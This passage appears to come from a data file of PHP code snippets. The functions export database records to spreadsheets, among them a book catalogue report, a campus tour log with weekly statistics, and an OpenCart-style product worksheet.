'mod_simplelesson');\n\n return $headerdata;\n }", "function generate_xls(){ \n //Would like to ask for term to generate report for. Can we do this?\n global $CFG, $DB, $USER;\n\n\n\n //find all workers\n $workers = $DB->get_records('block_timetracker_workerinfo');\n\n foreach($workers as $worker){\n //demo courses, et. al.\n if($worker->courseid >= 73 && $worker->courseid <= 76){\n continue;\n }\n\n $earnings = get_earnings_this_term($worker->id,$worker->courseid);\n \n $course = $DB->get_record('course', array('id'=>$worker->courseid));\n echo $course->shortname.','.$worker->lastname.','.$worker->firstname.\n ','.$earnings.','.$worker->maxtermearnings.\"\\n\";\n }\n}", "public function export(){\n include APPPATH.'third_party/PHPExcel/Classes/PHPExcel.php';\n \n // Panggil class PHPExcel nya\n $excel = new PHPExcel();\n\n // Settingan awal fil excel\n $excel->getProperties()->setCreator('My Notes Code')\n ->setLastModifiedBy('My Notes Code')\n ->setTitle(\"Data Buku\")\n ->setSubject(\"tb_buku\")\n ->setDescription(\"Laporan Semua Data Buku\")\n ->setKeywords(\"Data Buku\");\n\n // Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n $style_col = array(\n 'font' => array('bold' => true), // Set font nya jadi bold\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n // Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n $style_row = array(\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n $excel->setActiveSheetIndex(0)->setCellValue('A1', \"RELASI INTI MEDIA ( FAMILIA, ISTANA MEDIA, QUDSI MEDIA DAN FORUM )\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A2', \"Jl. Permadi Nyutran RT/RW. 61/19 MJ II No. 1606 C, Wirogunan, Mergangsan, Yogyakarta 55151\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A3', \"Email: relasidistribusi@gmail.com Telp: (0274) 2870300\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A5', \"DATA BUKU\");\n $excel->getActiveSheet()->mergeCells('A1:N1'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A2:N2'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A3:N3'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A5:N5'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A5')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n $excel->getActiveSheet()->getStyle('A5')->getFont()->setSize(15);\n $excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A3')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A5')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n\n // Buat header tabel nya pada baris ke 3\n $excel->setActiveSheetIndex(0)->setCellValue('A7', \"NO\"); // Set kolom A3 dengan tulisan \"NO\"\n $excel->setActiveSheetIndex(0)->setCellValue('B7', \"KODE BUKU\"); // Set kolom A3 dengan tulisan \"NO\"\n $excel->setActiveSheetIndex(0)->setCellValue('C7', \"JUDUL\"); // Set kolom B3 dengan tulisan \"NIS\"\n $excel->setActiveSheetIndex(0)->setCellValue('D7', \"KATEGORI\"); // Set kolom C3 dengan tulisan \"NAMA\"\n $excel->setActiveSheetIndex(0)->setCellValue('E7', \"PENULIS\"); // Set kolom D3 dengan tulisan \"JENIS KELAMIN\"\n $excel->setActiveSheetIndex(0)->setCellValue('F7', \"PENERBIT\");\n $excel->setActiveSheetIndex(0)->setCellValue('G7', \"UKURAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('H7', \"JUMLAH HALAMAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('I7', \"ISBN\");\n $excel->setActiveSheetIndex(0)->setCellValue('J7', \"TAHUN TERBIT\");\n $excel->setActiveSheetIndex(0)->setCellValue('K7', \"HARGA (Rp)\");\n $excel->setActiveSheetIndex(0)->setCellValue('L7', \"STOK\");\n $excel->setActiveSheetIndex(0)->setCellValue('M7', \"KETERANGAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('N7', \"STATUS\");\n\n // Apply style header yang telah kita buat tadi ke masing-masing kolom header\n $excel->getActiveSheet()->getStyle('A7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('B7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('C7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('D7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('E7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('F7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('G7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('H7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('I7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('J7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('K7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('L7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('M7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('N7')->applyFromArray($style_col);\n\n\n // Panggil function view yang ada di SiswaModel untuk menampilkan semua data siswanya\n $buku = $this->buku_model->showAllBuku();\n\n $no = 1; // Untuk penomoran tabel, di awal set dengan 1\n $numrow = 8; // Set baris pertama untuk isi tabel adalah baris ke 4\n foreach($buku as $data){ // Lakukan looping pada variabel siswa\n $excel->setActiveSheetIndex(0)->setCellValue('A'.$numrow, $no);\n $excel->setActiveSheetIndex(0)->setCellValue('B'.$numrow, $data->kd_buku);\n $excel->setActiveSheetIndex(0)->setCellValue('C'.$numrow, $data->judul);\n $excel->setActiveSheetIndex(0)->setCellValue('D'.$numrow, $data->nama_kategori);\n $excel->setActiveSheetIndex(0)->setCellValue('E'.$numrow, $data->nama_penulis);\n $excel->setActiveSheetIndex(0)->setCellValue('F'.$numrow, $data->nama_penerbit);\n $excel->setActiveSheetIndex(0)->setCellValue('G'.$numrow, $data->ukuran);\n $excel->setActiveSheetIndex(0)->setCellValue('H'.$numrow, $data->jml_halaman);\n $excel->setActiveSheetIndex(0)->setCellValue('I'.$numrow, $data->isbn);\n $excel->setActiveSheetIndex(0)->setCellValue('J'.$numrow, $data->thn_terbit);\n $excel->setActiveSheetIndex(0)->setCellValue('K'.$numrow, $data->harga);\n $excel->setActiveSheetIndex(0)->setCellValue('L'.$numrow, $data->stok);\n $excel->setActiveSheetIndex(0)->setCellValue('M'.$numrow, $data->keterangan);\n $excel->setActiveSheetIndex(0)->setCellValue('N'.$numrow, $data->status);\n \n // Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n $excel->getActiveSheet()->getStyle('A'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('B'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('C'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('D'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('E'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('F'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('G'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('H'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('I'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('J'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('K'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('L'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('M'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('N'.$numrow)->applyFromArray($style_row);\n \n $no++; // Tambah 1 setiap kali looping\n $numrow++; // Tambah 1 setiap kali looping\n }\n\n // Set width kolom\n $excel->getActiveSheet()->getColumnDimension('A')->setWidth(5); // Set width kolom A\n $excel->getActiveSheet()->getColumnDimension('B')->setWidth(13); // Set width kolom B\n $excel->getActiveSheet()->getColumnDimension('C')->setWidth(60); // Set width kolom C\n $excel->getActiveSheet()->getColumnDimension('D')->setWidth(25); // Set width kolom D\n $excel->getActiveSheet()->getColumnDimension('E')->setWidth(40); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('F')->setWidth(15); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('G')->setWidth(13); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('H')->setWidth(20); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('I')->setWidth(20); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('J')->setWidth(15); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('K')->setWidth(18); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('L')->setWidth(10); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('M')->setWidth(40); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('N')->setWidth(15); // Set width kolom E\n \n // Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n $excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n // Set orientasi kertas jadi LANDSCAPE\n $excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n // Set judul file excel nya\n $excel->getActiveSheet(0)->setTitle(\"Laporan Data Buku\");\n $excel->setActiveSheetIndex(0);\n\n // Proses file excel\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"Data Buku.xlsx\"'); // Set nama file excel nya\n header('Cache-Control: max-age=0');\n\n $write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n $write->save('php://output');\n }", "function header() {\n //\n //Get the fields in this sql \n $cols= $this->fields->get_array();\n //\n //Loop through the fields and display the <tds>\n foreach ($cols as $col) {\n //\n $name= is_null($col->alias) ? $col->to_str():$col->alias;\n echo \"<th>$name</th>\"; \n }\n }", "function createTourLogSheet($name, $data, &$workBook, $writeStats){\n\t$file = 0;\n\t$excel = 1;\n\t$cols = array('Tour ID', 'Date/Time', 'Majors', 'Student', 'Parent', 'People', 'School', 'Year', 'City', 'State', 'Email', 'Phone', 'Tour Status', 'Comments from Family', 'Comments from Ambassadors');\n\t$entries = array('id', 'tourTime', 'majorsOfInterest', 'studentName', 'parentName', 'numPeople', 'school', 'yearInSchool', 'city', 'state', 'email', 'phone', 'status', 'tourComments', 'ambComments');\n\n\t$tourDayCounts = array_fill(0, 7, 0);\n\t$tourWeekCounts = array_fill(0, 53, 0);\n\t$tourDateCounts = array_fill(0, 53, null);\n\t$weekStrings = array();\n\t$numSemesterTours = count($data);\n\t$timeStringLength = 0;\n\tif($excel)\n\t\t$tourSheet = & $workBook->add_worksheet($name. ' Tours');\n\tif($file)\n\t\tfwrite($f, \"\\nWorksheet: $name Tours\\n\");\n\t$numCols = count($cols);\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colName = $cols[$col];\n\t\t$colRef = $entries[$col];\n\t\t$maxWidth = getTextWidth($colName);\n\t\tif($excel)\n\t\t\t$tourSheet->write_string(0, $col, $colName);\n\t\tif($file)\n\t\t\tfwrite($f, \"Row: 0, Col: $col, $colRef: $colName, width:$maxWidth\\t\");\n\n\t\tfor($tour = 0; $tour < $numSemesterTours; $tour++){\n\t\t\t$text = $data[$tour][$colRef];\n\t\t\t$width = getTextWidth($text);\n\t\t\tif($width > $maxWidth){\n\t\t\t\t$maxWidth = $width;\n\t\t\t}\n\n\t\t\tif($excel){\n\t\t\t\tif(is_numeric($text)){\n\t\t\t\t\t$tourSheet->write_number($tour + 1, $col, intval($text));\n\t\t\t\t} else {\n\t\t\t\t\t$tourSheet->write_string($tour + 1, $col, $text);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif($file)\n\t\t\t\tfwrite($f, \"Row: $tour, Col: $col, val: $text, width: $width\\t\");\n\n\t\t\t/*\n\t\t\t //formats do not work at the moment\n\t\t\t if($col == 0){\n\t\t\t\t$tourSheet->set_row($tour + 1, NULL, $formatOffset + ($tour % 2));\n\t\t\t}\n\t\t\t*/\n\t\t}\n\t\tif($file)\n\t\t\tfwrite($f, \"\\n\");\n\t\tif($excel)\n\t\t\t$tourSheet->set_column($col, $col, $maxWidth * (2.0/3.0));\n\t}\n\n\tfor($tour = 0; $tour < $numSemesterTours; $tour++){\n\t\tif($file)\n\t\t\tfwrite($f, \"Week 03: \".$tourWeekCounts[\"03\"].\"\\n\");\n\t\t//and now we add each tour to the stats\n\t\t$timestamp = strtotime($data[$tour]['tourTime']);\n\t\tif($file)\n\t\t\tfwrite($f, \"timestamp: $timestamp Time:\".$tour['tourTime'].\" Week: \".date('W', $timestamp).\"\\n\");\n\t\tif(($timestamp == false) || ($timestamp == -1)) continue;\n\t\t$tourDOW = intval(date('w', $timestamp));\n\t\t$tourDayCounts[\"$tourDOW\"] += 1;\n\t\t$tourWeek = intval(date('W', $timestamp));\n\t\t$tourWeekCounts[\"$tourWeek\"] += 1;\n\t\tif($tourDateCounts[\"$tourWeek\"] == null){\n\t\t\t$tourDateCounts[\"$tourWeek\"] = array_fill(0,7,0);\n\t\t}\n\t\t$tourDateCounts[\"$tourWeek\"][\"$tourDOW\"] += 1;\n\n\t\t//and create the date string for this week if it doesn't exist already\n\t\tif(!array_key_exists($tourWeek, $weekStrings)){\n\t\t\t$timeInfo = getdate($timestamp);\n\t\t\t$sunTimestamp = mktime(0,0,0, $timeInfo['mon'], $timeInfo['mday'] - $tourDOW, $timeInfo['year']);\n\t\t\t$satTimestamp = mktime(0,0,0, $timeInfo['mon'], $timeInfo['mday'] - $tourDOW + 6, $timeInfo['year']);\n\t\t\tif(date('M', $sunTimestamp) == date('M', $satTimestamp)){\n\t\t\t\t$timeStr = date('M j', $sunTimestamp) . ' - ' . date('j', $satTimestamp);\n\t\t\t} else {\n\t\t\t\t$timeStr = date('M j', $sunTimestamp) . ' - ' . date('M j', $satTimestamp);\n\t\t\t}\n\t\t\t$weekStrings[\"$tourWeek\"] = $timeStr;\n\t\t\t$tsl = getTextWidth($timeStr);\n\t\t\tif($tsl > $timeStringLength) $timeStringLength = $tsl;\n\t\t}\n\t}\n\n\tif(!$writeStats) return;\n\n\tif($excel)\n\t\t$statsSheet = &$workBook->add_worksheet($name.' Stats');\n\n\t//fill the column headers and set the the column widths\n\t$statsSheet->set_column(0, 0, $timeStringLength * (2.0/3.0));\n\t$statsSheet->write_string(0, 1, \"Monday\");\n\t$statsSheet->set_column(1, 1, getTextWidth(\"Monday\") * (2.0/3.0));\n\t$statsSheet->write_string(0, 2, \"Tuesday\");\n\t$statsSheet->set_column(2, 2, getTextWidth(\"Tuesday\") * (2.0/3.0));\n\t$statsSheet->write_string(0, 3, \"Wednesday\");\n\t$statsSheet->set_column(3, 3, getTextWidth(\"Wednesday\") * (2.0/3.0));\n\t$statsSheet->write_string(0, 4, \"Thursday\");\n\t$statsSheet->set_column(4, 4, getTextWidth(\"Thursday\") * (2.0/3.0));\n\t$statsSheet->write_string(0, 5, \"Friday\");\n\t$statsSheet->set_column(5, 5, getTextWidth(\"Friday\") * (2.0/3.0));\n\t$statsSheet->write_string(0, 6, \"Total\");\n\t$statsSheet->set_column(6, 6, getTextWidth(\"Total\") * (2.0/3.0));\n\n\t//then start populating all the data from the tours\n\t$numWeeks = count($tourDateCounts);\n\t$displayWeek = 0;\n\t//write the counts for each week\n\tfor($week = 0; $week < $numWeeks; $week++){\n\t\tif($file){\n\t\t\tfwrite($f, \"Week $week, Tours \".$tourWeekCounts[$week].\"\\n\");\n\t\t\tfor($i = 0; $i < 7; $i++){\n\t\t\t\tfwrite($f, \"Day $i, Tours \".$tourDateCounts[$week][$i].\"\\n\");\n\t\t\t}\n\t\t}\n\t\tif($tourWeekCounts[$week] == 0) continue;\n\t\t$statsSheet->write_string($displayWeek+1, 0, $weekStrings[$week]);\n\t\tfor($day = 1; $day < 6; $day++){\n\t\t\tif($excel)\n\t\t\t\t$statsSheet->write_number($displayWeek + 1, $day, $tourDateCounts[$week][$day]);\n\t\t\tif($file)\n\t\t\t\tfwrite($f, \"Week $week, Day $day, Tours \".$tourDateCounts[$week][$day].\"\\n\");\n\t\t}\n\t\t//write the totals for each week\n\t\tif($excel)\n\t\t\t$statsSheet->write_number($displayWeek + 1, 6, $tourWeekCounts[$week]);\n\t\tif($file)\n\t\t\tfwrite($f, \"Week $week, Total Tours \".$tourWeekCounts[$week].\"\\n\");\n\t\t$displayWeek++;\n\t}\n\t//then write the totals for the semester\n\tfor($day = 1; $day < 6; $day++){\n\t\tif($excel)\n\t\t\t$statsSheet->write_number($displayWeek + 1, $day, $tourDayCounts[$day]);\n\t\tif($file)\n\t\t\tfwrite($f, \"Day $day, Total Tours \".$tourDayCounts[$day].\"\\n\");\n\t}\n\n\tif($excel)\n\t\t$statsSheet->write_number($displayWeek + 1, 6, $numSemesterTours);\n\tif($file)\n\t\tfwrite($f, \"Total Tours: $numSemesterTours\\n\");\n\n\tunset($tourDayCounts);\n\tunset($tourWeekCounts);\n\tunset($tourDateCounts);\n\tunset($weekStrings);\n}", "function populateInstrumentsWorksheet( &$worksheet, &$languages, $default_language_id, &$price_format, &$box_format, &$weight_format, &$text_format, $offset=null, $rows=null, &$min_id=null, &$max_id=null) {\n\t\t$query = $this->db->query( \"DESCRIBE `\".DB_PREFIX.\"instrument`\" );\n\t\t$instrument_fields = array();\n\t\tforeach ($query->rows as $row) {\n\t\t\t$instrument_fields[] = $row['Field'];\n\t\t}\n\n\t\t// Opencart versions from 2.0 onwards also have instrument_description.meta_title\n\t\t$sql = \"SHOW COLUMNS FROM `\".DB_PREFIX.\"instrument_description` LIKE 'meta_title'\";\n\t\t$query = $this->db->query( $sql );\n\t\t$exist_meta_title = ($query->num_rows > 0) ? true : false;\n\n\t\t// Set the column widths\n\t\t$j = 0;\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('instrument_id'),4)+1);\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('name')+4,30)+1);\n\t\t}\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('categories'),12)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sku'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('upc'),12)+1);\n\t\tif (in_array('ean',$instrument_fields)) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('ean'),14)+1);\n\t\t}\n\t\tif (in_array('jan',$instrument_fields)) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('jan'),13)+1);\n\t\t}\n\t\tif (in_array('isbn',$instrument_fields)) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('isbn'),13)+1);\n\t\t}\n\t\tif (in_array('mpn',$instrument_fields)) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('mpn'),15)+1);\n\t\t}\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('location'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('quantity'),4)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('model'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('manufacturer'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('image_name'),12)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('shipping'),5)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('price'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('points'),5)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_added'),19)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_modified'),19)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_available'),10)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('weight'),6)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('weight_unit'),3)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('length'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('width'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('height'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('length_unit'),3)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('status'),5)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('tax_class_id'),2)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('seo_keyword'),16)+1);\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('description')+4,32)+1);\n\t\t}\n\t\tif ($exist_meta_title) {\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_title')+4,20)+1);\n\t\t\t}\n\t\t}\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_description')+4,32)+1);\n\t\t}\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_keywords')+4,32)+1);\n\t\t}\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('stock_status_id'),3)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('store_ids'),16)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('layout'),16)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('related_ids'),16)+1);\n\t\tforeach ($languages as $language) {\n\t\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('tags')+4,32)+1);\n\t\t}\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('sort_order'),8)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('subtract'),5)+1);\n\t\t$worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('minimum'),8)+1);\n\n\t\t// The instrument headings row and column styles\n\t\t$styles = array();\n\t\t$data = array();\n\t\t$i = 1;\n\t\t$j = 0;\n\t\t$data[$j++] = 'instrument_id';\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'name('.$language['code'].')';\n\t\t}\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'categories';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'sku';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'upc';\n\t\tif (in_array('ean',$instrument_fields)) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'ean';\n\t\t}\n\t\tif (in_array('jan',$instrument_fields)) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'jan';\n\t\t}\n\t\tif (in_array('isbn',$instrument_fields)) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'isbn';\n\t\t}\n\t\tif (in_array('mpn',$instrument_fields)) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'mpn';\n\t\t}\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'location';\n\t\t$data[$j++] = 'quantity';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'model';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'manufacturer';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'image_name';\n\t\t$data[$j++] = 'shipping';\n\t\t$styles[$j] = &$price_format;\n\t\t$data[$j++] = 'price';\n\t\t$data[$j++] = 'points';\n\t\t$data[$j++] = 'date_added';\n\t\t$data[$j++] = 'date_modified';\n\t\t$data[$j++] = 'date_available';\n\t\t$styles[$j] = &$weight_format;\n\t\t$data[$j++] = 'weight';\n\t\t$data[$j++] = 'weight_unit';\n\t\t$data[$j++] = 'length';\n\t\t$data[$j++] = 'width';\n\t\t$data[$j++] = 'height';\n\t\t$data[$j++] = 'length_unit';\n\t\t$data[$j++] = 'status';\n\t\t$data[$j++] = 'tax_class_id';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'seo_keyword';\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'description('.$language['code'].')';\n\t\t}\n\t\tif ($exist_meta_title) {\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$styles[$j] = &$text_format;\n\t\t\t\t$data[$j++] = 'meta_title('.$language['code'].')';\n\t\t\t}\n\t\t}\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'meta_description('.$language['code'].')';\n\t\t}\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'meta_keywords('.$language['code'].')';\n\t\t}\n\t\t$data[$j++] = 'stock_status_id';\n\t\t$data[$j++] = 'store_ids';\n\t\t$styles[$j] = &$text_format;\n\t\t$data[$j++] = 'layout';\n\t\t$data[$j++] = 'related_ids';\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'tags('.$language['code'].')';\n\t\t}\n\t\t$data[$j++] = 'sort_order';\n\t\t$data[$j++] = 'subtract';\n\t\t$data[$j++] = 'minimum';\n\t\t$worksheet->getRowDimension($i)->setRowHeight(30);\n\t\t$this->setCellRow( $worksheet, $i, $data, $box_format );\n\n\t\t// The actual instruments data\n\t\t$i += 1;\n\t\t$j = 0;\n\t\t$store_ids = $this->getStoreIdsForInstruments();\n\t\t$layouts = $this->getLayoutsForInstruments();\n\t\t$instruments = $this->getInstruments( $languages, $default_language_id, $instrument_fields, $exist_meta_title, $offset, $rows, $min_id, $max_id );\n\t\t$len = count($instruments);\n\t\t$min_id = $instruments[0]['instrument_id'];\n\t\t$max_id = $instruments[$len-1]['instrument_id'];\n\t\tforeach ($instruments as $row) {\n\t\t\t$data = array();\n\t\t\t$worksheet->getRowDimension($i)->setRowHeight(26);\n\t\t\t$instrument_id = $row['instrument_id'];\n\t\t\t$data[$j++] = $instrument_id;\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['name'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\t$data[$j++] = $row['categories'];\n\t\t\t$data[$j++] = $row['sku'];\n\t\t\t$data[$j++] = $row['upc'];\n\t\t\tif (in_array('ean',$instrument_fields)) {\n\t\t\t\t$data[$j++] = $row['ean'];\n\t\t\t}\n\t\t\tif (in_array('jan',$instrument_fields)) {\n\t\t\t\t$data[$j++] = $row['jan'];\n\t\t\t}\n\t\t\tif (in_array('isbn',$instrument_fields)) {\n\t\t\t\t$data[$j++] = $row['isbn'];\n\t\t\t}\n\t\t\tif (in_array('mpn',$instrument_fields)) {\n\t\t\t\t$data[$j++] = $row['mpn'];\n\t\t\t}\n\t\t\t$data[$j++] = $row['location'];\n\t\t\t$data[$j++] = 